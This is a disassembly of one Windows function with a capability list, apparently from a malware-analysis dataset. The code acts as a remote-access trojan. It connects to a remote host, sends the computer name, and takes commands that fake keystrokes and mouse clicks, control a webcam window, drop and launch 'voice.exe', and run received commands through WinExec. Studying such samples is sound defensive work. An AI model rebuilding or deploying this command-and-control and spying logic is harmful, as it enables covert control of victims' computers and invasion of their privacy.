Function at 0x4062cc
Capabilities:
Act as tcp client
Capture webcam image
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Get common file path
Get hostname
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffff6dc
push ebx
push esi
push edi
mov eax, 0x441358
call fcn.0040e948
push 0x1f4
push 0
push 0x437c68
call fcn.0040e5ec
add esp, 0xc
xor edx, edx
mov dword [0x448230], edx
xor ecx, ecx
mov dword [0x437c30], ecx
xor eax, eax
mov dword [0x437c14], eax
push 0x440383
call fcn.0041179c
pop ecx
push 0x440387
call fcn.0041179c
pop ecx
mov word [ebp - 0x384], 8
push 0
push 0x448e08
call sub.WININET.DLL_InternetGetConnectedState
test eax, eax
jne 0x406353
push dword [0x448244]
call sub.GDIPLUS.DLL_GdiplusShutdown
jmp 0x409de4
mov word [ebp - 0x384], 0
jmp 0x40636c
xor edx, edx
push 0xc8
mov dword [0x437c30], edx
xor ecx, ecx
push 0
push 0x447fd4
mov dword [0x437c2c], ecx
call fcn.0040e5ec
add esp, 0xc
mov word [ebp - 0x384], 0x14
push 0x447fd4
push dword [ebp + 0xc]
call fcn.00405264
mov word [ebp - 0x384], 0
add esp, 8
jmp 0x4063c2
push 0x44038b
call fcn.0041179c
pop ecx
mov word [ebp - 0x39a], 0x101
lea eax, [ebp - 0x740]
push eax
mov dx, word [ebp - 0x39a]
push edx
call sub.WSOCK32.DLL_WSAStartup
push 0x44038f
call fcn.0041179c
pop ecx
push 0
push 0x448e08
call sub.WININET.DLL_InternetGetConnectedState
test eax, eax
je 0x406439
mov word [ebp - 0x384], 0x20
push 0x447fd4
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x3a4], eax
mov word [ebp - 0x384], 0
jmp 0x406463
push str.no_hay_internet_n
call fcn.0041179c
pop ecx
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x3a0], eax
xor eax, eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
cmp dword [ebp - 0x3a4], 0
jne 0x406496
push 0x4403a4
call fcn.0041179c
pop ecx
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x3a0], eax
xor eax, eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
push 0x4403a8
call fcn.0041179c
pop ecx
push 0
push 0x448e08
call sub.WININET.DLL_InternetGetConnectedState
test eax, eax
je 0x40669e
mov word [ebp - 0x384], 0x2c
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [ebp - 0x3a8], eax
mov word [ebp - 0x384], 0
jmp 0x4064e8
push 0x4403ac
call fcn.0041179c
cmp dword [ebp - 0x3a8], 0xffffffff
pop ecx
jne 0x406526
push 0x4403b0
call fcn.0041179c
pop ecx
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x3a0], eax
xor eax, eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
mov word [ebp - 0x750], 2
mov word [ebp - 0x384], 0x38
lea ecx, [ebp - 0x20]
lea eax, [ebp - 0x38]
push ecx
inc dword [ebp - 0x378]
push 0x447fd4
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x38]
add dword [ebp - 0x378], 4
push edx
lea ecx, [ebp - 0x50]
push ecx
call fcn.004055cc
add esp, 8
lea eax, [ebp - 0x50]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x3ac], eax
mov edx, dword [ebp - 0x3ac]
mov ecx, dword [edx]
push ecx
call sub.WSOCK32.DLL_gethostbyname
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [ebp - 0x74c], ecx
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x3b0], eax
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x3b4], edx
cmp dword [ebp - 0x3b4], 0
je 0x4065ed
cmp dword [ebp - 0x3b0], 0x80
jbe 0x4065d9
push dword [ebp - 0x3b4]
call fcn.0040c294
pop ecx
jmp 0x4065ed
push dword [ebp - 0x3b0]
push dword [ebp - 0x3b4]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x38]
mov dword [ebp - 0x3b8], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0
je 0x406651
cmp dword [ebp - 0x3b8], 0x80
jbe 0x40663d
push dword [ebp - 0x3bc]
call fcn.0040c294
pop ecx
jmp 0x406651
push dword [ebp - 0x3b8]
push dword [ebp - 0x3bc]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov dx, word [0x437e6c]
push edx
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x74e], ax
push 0x4403b4
call fcn.0041179c
pop ecx
push 0x10
lea ecx, [ebp - 0x750]
push ecx
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_connect
mov dword [ebp - 0x3a0], eax
jmp 0x4066c8
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x3a0], eax
push str.NHI2_error_n
call fcn.0041179c
pop ecx
xor eax, eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
cmp dword [ebp - 0x3a0], 0xffffffff
jne 0x4066fb
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x3a0], eax
push str.nret_error_n
call fcn.0041179c
pop ecx
xor eax, eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
push 0x4403d0
call fcn.0041179c
pop ecx
lea ecx, [ebp - 0x91c]
push ecx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov dword [ebp - 0x3c0], eax
push str.pac001_
lea eax, [ebp - 0x91c]
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x818]
push 0xc8
push 0
push edx
call fcn.0040e5ec
add esp, 0xc
lea ecx, [ebp - 0x91c]
push ecx
lea eax, [ebp - 0x818]
push eax
call fcn.0040e690
add esp, 8
push str.stat.idx
lea edx, [ebp - 0x91c]
push edx
call fcn.0040e690
add esp, 8
push dword [0x437c64]
call fcn.0040e6cc
pop ecx
push eax
push 0
push dword [0x437c64]
call fcn.0040e5ec
add esp, 0xc
mov dword [0x44824c], 0x10
push 0x4403d4
call fcn.0041179c
pop ecx
push 0x44824c
push str.Sapphic
call sub.KERNEL32.DLL_GetComputerNameA
mov word [ebp - 0x384], 0x80
lea ecx, [ebp - 0x18]
push ecx
call fcn.00405868
pop ecx
lea eax, [ebp - 0x818]
add dword [ebp - 0x378], 4
mov word [ebp - 0x384], 0x74
push eax
call fcn.00410298
pop ecx
lea edx, [ebp - 0x91c]
push edx
call fcn.00405834
pop ecx
test eax, eax
mov word [ebp - 0x384], 0x8c
push 0x440251
lea ecx, [ebp - 0x91c]
push ecx
call fcn.00410998
add esp, 8
mov dword [ebp - 0x3c4], eax
mov word [ebp - 0x384], 0x74
jmp 0x40682d
push 0x4403d8
call fcn.0041179c
pop ecx
push 0x14
push 0
lea eax, [ebp - 0x948]
push eax
call fcn.0040e5ec
add esp, 0xc
push 1
push 0
push 0x448de8
call fcn.0040e5ec
add esp, 0xc
push 0xa
push 0
push dword [0x437c64]
call fcn.0040e5ec
add esp, 0xc
cmp dword [ebp - 0x3c4], 0
je 0x4068c4
push dword [ebp - 0x3c4]
push 8
lea edx, [ebp - 0x948]
push edx
call fcn.00410620
add esp, 0xc
push dword [ebp - 0x3c4]
push 0xa
push 0x448de8
call fcn.00410620
add esp, 0xc
push dword [ebp - 0x3c4]
push 0xa
push 0x448de8
call fcn.00410620
add esp, 0xc
push dword [ebp - 0x3c4]
call fcn.004104f0
pop ecx
push 0x4403dc
call fcn.0041179c
pop ecx
push 0x100
push 0
push 0x44916c
call fcn.0040e5ec
add esp, 0xc
push 0x448de8
push dword [0x437c64]
call fcn.0040e690
add esp, 8
push str.Sapphic
push dword [0x437c64]
call fcn.0040e690
add esp, 8
push str.Sapphic
push 0x44916c
call fcn.0040e690
add esp, 8
push 0x4403e0
push dword [0x437c64]
call fcn.0040e690
add esp, 8
push 0x4403e0
push 0x44916c
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x948]
push ecx
push dword [0x437c64]
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0x948]
push eax
push 0x44916c
call fcn.0040e690
add esp, 8
push dword [ebp - 0x18]
call fcn.00410298
pop ecx
push str.o10_n
call fcn.0041179c
pop ecx
push 0
push dword [0x437c64]
call fcn.0040e6cc
pop ecx
push eax
push dword [0x437c64]
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_send
test eax, eax
jne 0x406a38
push 0x4403e7
call fcn.0041179c
pop ecx
push str.cant_send_n
call fcn.0041179c
pop ecx
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_closesocket
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
dec dword [ebp - 0x378]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x5a4], edx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x5a8], ecx
cmp dword [ebp - 0x5a8], 0
je 0x406a27
cmp dword [ebp - 0x5a4], 0x80
jbe 0x406a13
push dword [ebp - 0x5a8]
call fcn.0040c294
pop ecx
jmp 0x406a27
push dword [ebp - 0x5a4]
push dword [ebp - 0x5a8]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
jmp 0x409de4
push str.o11_n
call fcn.0041179c
pop ecx
push dword [0x437c64]
call fcn.0040e6cc
pop ecx
push eax
push 0
push dword [0x437c64]
call fcn.0040e5ec
add esp, 0xc
xor eax, eax
mov dword [0x447e8c], eax
push dword [0x437c60]
call fcn.0040e6cc
pop ecx
push eax
push 0
push dword [0x437c60]
call fcn.0040e5ec
add esp, 0xc
mov dword [ebp - 0x3c8], 1
mov word [ebp - 0x384], 0x74
lea edx, [ebp - 0x3c8]
push edx
push 0x8004667e
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_ioctlsocket
push str.o12_n
call fcn.0041179c
pop ecx
call fcn.004058ec
mov byte [ebp - 0x3c9], al
cmp dword [0x437c10], 1
jne 0x406b10
mov ecx, dword [0x437c60]
mov esi, str.dNex
mov edi, ecx
mov eax, edi
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x190
call sub.KERNEL32.DLL_Sleep
push 0
push dword [0x437c60]
call fcn.0040e6cc
pop ecx
push eax
push dword [0x437c60]
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_send
xor edx, edx
mov dword [0x437c10], edx
push str.o13_n
call fcn.0041179c
pop ecx
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x3d0], ecx
xor ecx, ecx
mov dword [0x437c2c], eax
xor eax, eax
mov dword [0x437c30], edx
mov dword [ebp - 0x3d4], ecx
xor edx, edx
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3dc], edx
xor ecx, ecx
mov dword [ebp - 0x3e0], ecx
mov word [ebp - 0x384], 0x98
push dword [0x44900c]
call sub.USER32.DLL_DestroyWindow
mov word [ebp - 0x384], 0x74
jmp 0x406b7f
push str.o14_n
call fcn.0041179c
pop ecx
xor eax, eax
mov dword [0x44900c], eax
push 0x44040f
call fcn.0041179c
pop ecx
xor edx, edx
mov dword [ebp - 0x1128], 1
mov dword [ebp - 0x1124], edx
xor ecx, ecx
mov dword [ebp - 0x1120], ecx
xor eax, eax
mov dword [ebp - 0x111c], eax
lea edx, [ebp - 0x1128]
mov word [ebp - 0x384], 0x74
push 0
push edx
push 0x448244
call sub.GDIPLUS.DLL_GdiplusStartup
push str.o15_n
call fcn.0041179c
pop ecx
mov word [ebp - 0x384], 0xa4
push 0
push 0x448e08
call sub.WININET.DLL_InternetGetConnectedState
test eax, eax
jne 0x406c29
push str.no_inter_2_n
call fcn.0041179c
pop ecx
push dword [0x448244]
call sub.GDIPLUS.DLL_GdiplusShutdown
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_closesocket
call sub.WSOCK32.DLL_WSACleanup
jmp 0x409d72
mov word [ebp - 0x384], 0x74
jmp 0x406c42
push 0x3e8
push 0
lea ecx, [ebp - 0xd30]
push ecx
call fcn.0040e5ec
add esp, 0xc
lea eax, [ebp - 0x1118]
push 0x3e8
push 0
push eax
call fcn.0040e5ec
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x122c], edx
xor eax, eax
jmp 0x406c8a
mov edx, dword [ebp + eax*4 - 0x1228]
cmp edx, dword [ebp - 0x3a8]
je 0x406c92
inc eax
cmp eax, dword [ebp - 0x122c]
jb 0x406c7a
cmp eax, dword [ebp - 0x122c]
jne 0x406cb6
cmp dword [ebp - 0x122c], 0x40
jae 0x406cb6
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp + eax*4 - 0x1228], ecx
inc dword [ebp - 0x122c]
xor eax, eax
xor edx, edx
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], edx
cmp dword [ebp - 0x3d0], 0xc8
jl 0x406de2
xor ecx, ecx
mov dword [ebp - 0x3d0], ecx
mov word [ebp - 0x384], 0xb0
push 0
push 1
push 0x44029d
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_send
mov dword [ebp - 0x3ec], eax
mov word [ebp - 0x384], 0x74
jmp 0x406d25
cmp dword [ebp - 0x3ec], 0xffffffff
jne 0x406dda
push str.err_socketa_n
call fcn.0041179c
pop ecx
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [0x437c30], eax
xor eax, eax
mov dword [ebp - 0x3d0], eax
mov dword [0x437c2c], edx
push dword [ebp - 0x3a8]
mov dword [0x437c1c], ecx
call sub.WSOCK32.DLL_closesocket
call sub.WSOCK32.DLL_WSACleanup
xor eax, eax
push eax
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
dec dword [ebp - 0x378]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x3f0], edx
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x406dbb
cmp dword [ebp - 0x3f0], 0x80
jbe 0x406dac
push ebx
call fcn.0040c294
pop ecx
jmp 0x406dbb
push dword [ebp - 0x3f0]
push ebx
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
pop eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
xor ecx, ecx
mov dword [ebp - 0x3d0], ecx
inc dword [ebp - 0x3d0]
lea eax, [ebp - 0x3e8]
push eax
push 0
push 0
lea edx, [ebp - 0x122c]
push edx
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_select
dec eax
jne 0x406eea
push 0
lea ecx, [ebp - 0xd30]
push 0x3e8
push ecx
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_recv
test eax, eax
jne 0x406eea
push str.socketa_2_n
call fcn.0041179c
pop ecx
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [0x437c30], eax
xor eax, eax
mov dword [ebp - 0x3d0], eax
mov dword [0x437c2c], edx
push dword [ebp - 0x3a8]
mov dword [0x437c1c], ecx
call sub.WSOCK32.DLL_closesocket
call sub.WSOCK32.DLL_WSACleanup
xor eax, eax
push eax
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
dec dword [ebp - 0x378]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x3f4], edx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x3f8], ecx
cmp dword [ebp - 0x3f8], 0
je 0x406ecb
cmp dword [ebp - 0x3f4], 0x80
jbe 0x406eb7
push dword [ebp - 0x3f8]
call fcn.0040c294
pop ecx
jmp 0x406ecb
push dword [ebp - 0x3f4]
push dword [ebp - 0x3f8]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
pop eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
xor ecx, ecx
mov dword [ebp - 0x3fc], ecx
mov word [ebp - 0x384], 0x74
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x65
jne 0x406fb1
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x43
jne 0x406fb1
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x70
jne 0x406fb1
push 0x64
call sub.KERNEL32.DLL_Sleep
mov dword [ebp - 0x1248], 1
push 0
push 0
push 0x1b
push 0x1b
call sub.USER32.DLL_keybd_event
mov word [ebp - 0x1242], 0
xor eax, eax
xor edx, edx
mov dword [ebp - 0x123c], eax
mov dword [ebp - 0x1238], edx
mov word [ebp - 0x1244], 0x56
xor ecx, ecx
lea eax, [ebp - 0x1248]
mov dword [ebp - 0x1240], ecx
push 0x1c
push eax
push 2
call sub.USER32.DLL_SendInput
mov dword [ebp - 0x1240], 2
push 0x1c
lea edx, [ebp - 0x1248]
push edx
push 2
call sub.USER32.DLL_SendInput
push 0x64
call sub.KERNEL32.DLL_Sleep
push 0
push 2
push 0x1b
push 0x1b
call sub.USER32.DLL_keybd_event
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x73
jne 0x407046
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x50
jne 0x407046
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x78
jne 0x407046
push 0x64
call sub.KERNEL32.DLL_Sleep
mov dword [ebp - 0x1264], 1
push 0
push 0
push 0x20
push 0x20
call sub.USER32.DLL_keybd_event
mov word [ebp - 0x125e], 0
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x1258], ecx
mov dword [ebp - 0x1254], eax
xor edx, edx
lea ecx, [ebp - 0x1264]
mov dword [ebp - 0x125c], edx
mov dword [ebp - 0x125c], 2
push 0x1c
push ecx
push 2
call sub.USER32.DLL_SendInput
push 0x64
call sub.KERNEL32.DLL_Sleep
push 0
push 2
push 0x20
push 0x20
call sub.USER32.DLL_keybd_event
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x70
jne 0x40707f
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x44
jne 0x40707f
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x77
jne 0x40707f
push 0
push 0xfffffe20
push 0
push 0
push 0x800
call sub.USER32.DLL_mouse_event
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x70
jne 0x4070b8
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x55
jne 0x4070b8
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x70
jne 0x4070b8
push 0
push 0x1e0
push 0
push 0
push 0x800
call sub.USER32.DLL_mouse_event
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x6d
jne 0x4071f5
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x50
jne 0x4071f5
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x75
jne 0x4071f5
push 0x64
push 0
push 0x449334
call fcn.0040e5ec
add esp, 0xc
push 0x64
push 0
push 0x44926c
call fcn.0040e5ec
add esp, 0xc
push 0x7e8
push 0x44043f
push 0x448d5c
call fcn.0040bf08
add esp, 0xc
push 0x7e8
push 0x440443
push 0x448d5c
call fcn.0040c0b8
add esp, 0xc
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 0x449334
call fcn.00413274
pop ecx
push eax
call sub.USER32.DLL_SetCursorPos
push 0
push 0
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 2
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 4
call sub.USER32.DLL_mouse_event
push 0xc8
call sub.KERNEL32.DLL_Sleep
push 0
push 0
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 2
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 4
call sub.USER32.DLL_mouse_event
mov dword [0x437c48], 1
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x6d
jne 0x4072ec
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x50
jne 0x4072ec
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x78
jne 0x4072ec
mov dword [0x437c34], 1
push 0x64
push 0
push 0x44926c
call fcn.0040e5ec
add esp, 0xc
push 0x64
push 0
push 0x449334
call fcn.0040e5ec
add esp, 0xc
push 0x7e8
push 0x44043f
push 0x448d5c
call fcn.0040bf08
add esp, 0xc
push 0x7e8
push 0x440443
push 0x448d5c
call fcn.0040c0b8
add esp, 0xc
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 0x449334
call fcn.00413274
pop ecx
push eax
call sub.USER32.DLL_SetCursorPos
push 0
push 0
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 2
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 4
call sub.USER32.DLL_mouse_event
mov dword [0x437c48], 1
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x6d
jne 0x4073d9
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x50
jne 0x4073d9
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x6c
jne 0x4073d9
push 0x64
push 0
push 0x44926c
call fcn.0040e5ec
add esp, 0xc
push 0x64
push 0
push 0x449334
call fcn.0040e5ec
add esp, 0xc
push 0x7e8
push 0x44043f
push 0x448d5c
call fcn.0040bf08
add esp, 0xc
push 0x7e8
push 0x440443
push 0x448d5c
call fcn.0040c0b8
add esp, 0xc
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 0x449334
call fcn.00413274
pop ecx
push eax
call sub.USER32.DLL_SetCursorPos
push 0
push 0
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 0x449334
call fcn.00413274
pop ecx
push eax
push 8
call sub.USER32.DLL_mouse_event
push 0
push 0
push 0x44926c
call fcn.00413274
pop ecx
push eax
push 0x449334
call fcn.00413274
pop ecx
push eax
push 0x10
call sub.USER32.DLL_mouse_event
mov dword [0x437c48], 1
cmp dword [0x437c30], 1
jne 0x4073e7
call fcn.0040bbc0
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x61
jne 0x407410
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x58
jne 0x407410
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x6a
jne 0x407410
call fcn.00403f84
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x61
jne 0x40746f
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x54
jne 0x40746f
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x6d
jne 0x40746f
push 0
push 0xf060
push 0x112
push dword [0x449088]
call sub.USER32.DLL_PostMessageA
push dword [0x449088]
call sub.USER32.DLL_DestroyWindow
mov dword [0x449404], 8
xor eax, eax
mov dword [0x437c2c], eax
xor edx, edx
mov dword [0x437c1c], edx
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x61
jne 0x40751a
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x54
jne 0x40751a
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x77
jne 0x40751a
push str.paro_la_webcam
call fcn.0041179c
pop ecx
xor ecx, ecx
mov dword [0x437c30], ecx
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x4074d1
push 0
push 0
push 0x432
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_DestroyWindow
xor eax, eax
mov dword [0x44900c], eax
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x407506
push 0
push 0
push 0x40b
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
push 0
push 3
push 0x440456
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_send
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x73
jne 0x407776
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x54
jne 0x407776
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x79
jne 0x407776
push 0xc8
push 0
lea edx, [ebp - 0x132c]
push edx
call fcn.0040e5ec
add esp, 0xc
xor eax, eax
jmp 0x40757a
lea edx, [ebp - 0xd30]
inc eax
mov dword [ebp - 0x404], edx
mov word [ebp - 0x384], 0x74
mov cl, byte [ebp + eax - 0xd2d]
mov byte [ebp + eax - 0xd30], cl
test cl, cl
jne 0x407564
mov word [ebp - 0x384], 0xf8
lea eax, [ebp - 0x88]
lea edx, [ebp - 0x68]
push eax
inc dword [ebp - 0x378]
push dword [ebp - 0x404]
push edx
call fcn.0040268e
add dword [ebp - 0x378], 4
dec dword [ebp - 0x378]
add esp, 0xc
mov word [ebp - 0x384], 0xec
mov word [ebp - 0x384], 0x104
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x68]
sub eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x80]
push eax
push 0
push edx
push ecx
call fcn.004033e2
add esp, 0x10
add dword [ebp - 0x378], 4
mov word [ebp - 0x384], 0xec
push str.voice.exe
call fcn.00405834
pop ecx
test eax, eax
jne 0x407659
push 0x440108
push str.voice.exe
call fcn.00410998
add esp, 8
mov dword [ebp - 0x408], eax
test eax, eax
jne 0x407633
push dword [ebp - 0x408]
call fcn.004104f0
pop ecx
push dword [ebp - 0x408]
push 1
push 0x3800
push 0x42ec08
call fcn.00410e4c
add esp, 0x10
push dword [ebp - 0x408]
call fcn.004104f0
pop ecx
push str.voice
lea edx, [ebp - 0x132c]
push edx
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0xd30]
push ecx
lea eax, [ebp - 0x132c]
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x132c]
push edx
push str._n__s__n
call fcn.0041179c
add esp, 8
push 0
lea ecx, [ebp - 0x132c]
push ecx
call sub.KERNEL32.DLL_WinExec
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x40c], eax
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x410], edx
cmp dword [ebp - 0x410], 0
je 0x4076fd
cmp dword [ebp - 0x40c], 0x80
jbe 0x4076e9
push dword [ebp - 0x410]
call fcn.0040c294
pop ecx
jmp 0x4076fd
push dword [ebp - 0x40c]
push dword [ebp - 0x410]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov ecx, dword [ebp - 0x58]
sub ecx, dword [ebp - 0x68]
mov dword [ebp - 0x414], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x407761
cmp dword [ebp - 0x414], 0x80
jbe 0x40774d
push dword [ebp - 0x418]
call fcn.0040c294
pop ecx
jmp 0x407761
push dword [ebp - 0x414]
push dword [ebp - 0x418]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x73
jne 0x407a57
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x54
jne 0x407a57
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x63
jne 0x407a57
xor eax, eax
mov word [ebp - 0x384], 0x74
xor ebx, ebx
jmp 0x4077fc
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x24
jne 0x4077fb
mov word [ebp - 0x384], 0x74
xor eax, eax
jmp 0x4077cf
inc eax
mov cl, byte [ebp + eax - 0xd2c]
mov byte [ebp + eax - 0xd30], cl
test cl, cl
jne 0x4077ce
push 0
lea eax, [ebp - 0xd30]
push eax
call sub.KERNEL32.DLL_WinExec
mov byte [ebp - 0xd30], 0
mov eax, 1
inc ebx
mov dl, byte [ebp + ebx - 0xd2d]
mov byte [ebp + ebx - 0xd30], dl
test dl, dl
jne 0x4077b5
test eax, eax
jne 0x407a57
lea eax, [ebp - 0xd30]
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0xa0]
mov word [ebp - 0x384], 0x74
mov word [ebp - 0x384], 0x14c
push ecx
inc dword [ebp - 0x378]
push dword [ebp - 0x41c]
push eax
call fcn.0040268e
add dword [ebp - 0x378], 4
dec dword [ebp - 0x378]
add esp, 0xc
mov word [ebp - 0x384], 0x140
mov word [ebp - 0x384], 0x158
mov edx, dword [ebp - 0x9c]
lea ecx, [ebp - 0xa0]
sub edx, dword [ebp - 0xa0]
lea eax, [ebp - 0xb8]
push edx
push 0
push ecx
push eax
call fcn.004033e2
add esp, 0x10
add dword [ebp - 0x378], 4
mov word [ebp - 0x384], 0x140
call sub.USER32.DLL_GetDesktopWindow
mov dword [ebp - 0x420], eax
call sub.USER32.DLL_CloseClipboard
lea edx, [ebp - 0xb8]
push edx
push dword [ebp - 0x420]
call fcn.00405adc
add esp, 8
mov dword [ebp - 0x1378], 1
